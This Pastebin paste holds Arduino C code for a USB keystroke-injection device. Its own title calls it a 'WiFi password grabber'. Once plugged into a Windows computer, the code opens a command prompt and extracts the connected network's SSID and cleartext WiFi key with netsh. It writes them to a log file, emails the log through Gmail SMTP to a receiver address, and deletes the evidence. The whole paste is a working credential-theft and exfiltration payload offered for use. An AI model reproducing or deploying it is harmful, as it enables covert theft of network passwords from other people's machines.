Guest User

Untitled

a guest
Mar 23rd, 2017
40
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.33 KB | None | 0 0
  1. /*
  2.  * Generated with <3 by Dckuino.js, an open source project !
  3.  */
  4.  
  5. #include "Keyboard.h"
  6.  
  7. void typeKey(int key)
  8. {
  9.   Keyboard.press(key);
  10.   delay(50);
  11.   Keyboard.release(key);
  12. }
  13.  
  14. /* Init function */
  15. void setup()
  16. {
  17.   // Begining the Keyboard stream
  18.   Keyboard.begin();
  19.  
  20.   // Wait 500ms
  21.   delay(500);
  22.  
  23.   // Title: WiFi password grabber
  24.   // Author: Siem
  25.   // Version: 3
  26.   // Description: Saves the SSID, Network type, Authentication and the password to Log.txt and emails the contents of Log.txt from a gmail account.
  27.   delay(3000);
  28.  
  29.   // --> Minimize all windows
  30.   Keyboard.press(KEY_LEFT_GUI);
  31.   Keyboard.press('d');
  32.   Keyboard.releaseAll();
  33.  
  34.   // --> Open cmd
  35.   Keyboard.press(KEY_LEFT_GUI);
  36.   Keyboard.press('r');
  37.   Keyboard.releaseAll();
  38.  
  39.   delay(500);
  40.  
  41.   Keyboard.print("cmd");
  42.  
  43.   typeKey(KEY_RETURN);
  44.  
  45.   delay(1000);
  46.  
  47.   // --> Getting SSID
  48.   Keyboard.print("cd \"%USERPROFILE%\\Desktop\" & for /f \"tokens=2 delims=: \" %A in ('netsh wlan show interface ^| findstr \"SSID\" ^| findstr /v \"BSSID\"') do set A=%A");
  49.  
  50.   typeKey(KEY_RETURN);
  51.  
  52.   // --> Creating A.txt
  53.   Keyboard.print("netsh wlan show profiles %A% key=clear | findstr /c:\"Network type\" /c:\"Authentication\" /c:\"Key Content\" | findstr /v \"broadcast\" | findstr /v \"Radio\">>A.txt");
  54.  
  55.   typeKey(KEY_RETURN);
  56.  
  57.   // --> Get network type
  58.   Keyboard.print("for /f \"tokens=3 delims=: \" %A in ('findstr \"Network type\" A.txt') do set B=%A");
  59.  
  60.   typeKey(KEY_RETURN);
  61.  
  62.   // --> Get authentication
  63.   Keyboard.print("for /f \"tokens=2 delims=: \" %A in ('findstr \"Authentication\" A.txt') do set C=%A");
  64.  
  65.   typeKey(KEY_RETURN);
  66.  
  67.   // --> Get password
  68.   Keyboard.print("for /f \"tokens=3 delims=: \" %A in ('findstr \"Key Content\" A.txt') do set D=%A");
  69.  
  70.   typeKey(KEY_RETURN);
  71.  
  72.   // --> Delete A.txt
  73.   Keyboard.print("del A.txt");
  74.  
  75.   typeKey(KEY_RETURN);
  76.  
  77.   // --> Create Log.txt
  78.   Keyboard.print("echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt");
  79.  
  80.   typeKey(KEY_RETURN);
  81.  
  82.   // --> Mail Log.txt
  83.   Keyboard.print("powershell");
  84.  
  85.   typeKey(KEY_RETURN);
  86.  
  87.   Keyboard.print("$SMTPServer = 'smtp.gmail.com'");
  88.  
  89.   typeKey(KEY_RETURN);
  90.  
  91.   Keyboard.print("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");
  92.  
  93.   typeKey(KEY_RETURN);
  94.  
  95.   Keyboard.print("$SMTPInfo.EnableSsl = $true");
  96.  
  97.   typeKey(KEY_RETURN);
  98.  
  99.   Keyboard.print("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('ACCOUNT@gmail.com', 'PASSWORD')");
  100.  
  101.   typeKey(KEY_RETURN);
  102.  
  103.   Keyboard.print("$ReportEmail = New-Object System.Net.Mail.MailMessage");
  104.  
  105.   typeKey(KEY_RETURN);
  106.  
  107.   Keyboard.print("$ReportEmail.From = 'ACCOUNT@gmail.com'");
  108.  
  109.   typeKey(KEY_RETURN);
  110.  
  111.   Keyboard.print("$ReportEmail.To.Add('RECEIVER@gmail.com')");
  112.  
  113.   typeKey(KEY_RETURN);
  114.  
  115.   Keyboard.print("$ReportEmail.Subject = 'WiFi key grabber'");
  116.  
  117.   typeKey(KEY_RETURN);
  118.  
  119.   Keyboard.print("$ReportEmail.Body = (Get-Content Log.txt | out-string)");
  120.  
  121.   typeKey(KEY_RETURN);
  122.  
  123.   Keyboard.print("$SMTPInfo.Send($ReportEmail)");
  124.  
  125.   typeKey(KEY_RETURN);
  126.  
  127.   Keyboard.print("exit");
  128.  
  129.   typeKey(KEY_RETURN);
  130.  
  131.   // --> Delete Log.txt and exit
  132.   Keyboard.print("del Log.txt & exit");
  133.  
  134.   typeKey(KEY_RETURN);
  135.  
  136.   // Ending stream
  137.   Keyboard.end();
  138. }
  139.  
  140. /* Unused endless loop */
  141. void loop() {}
Add Comment
Please, Sign In to add comment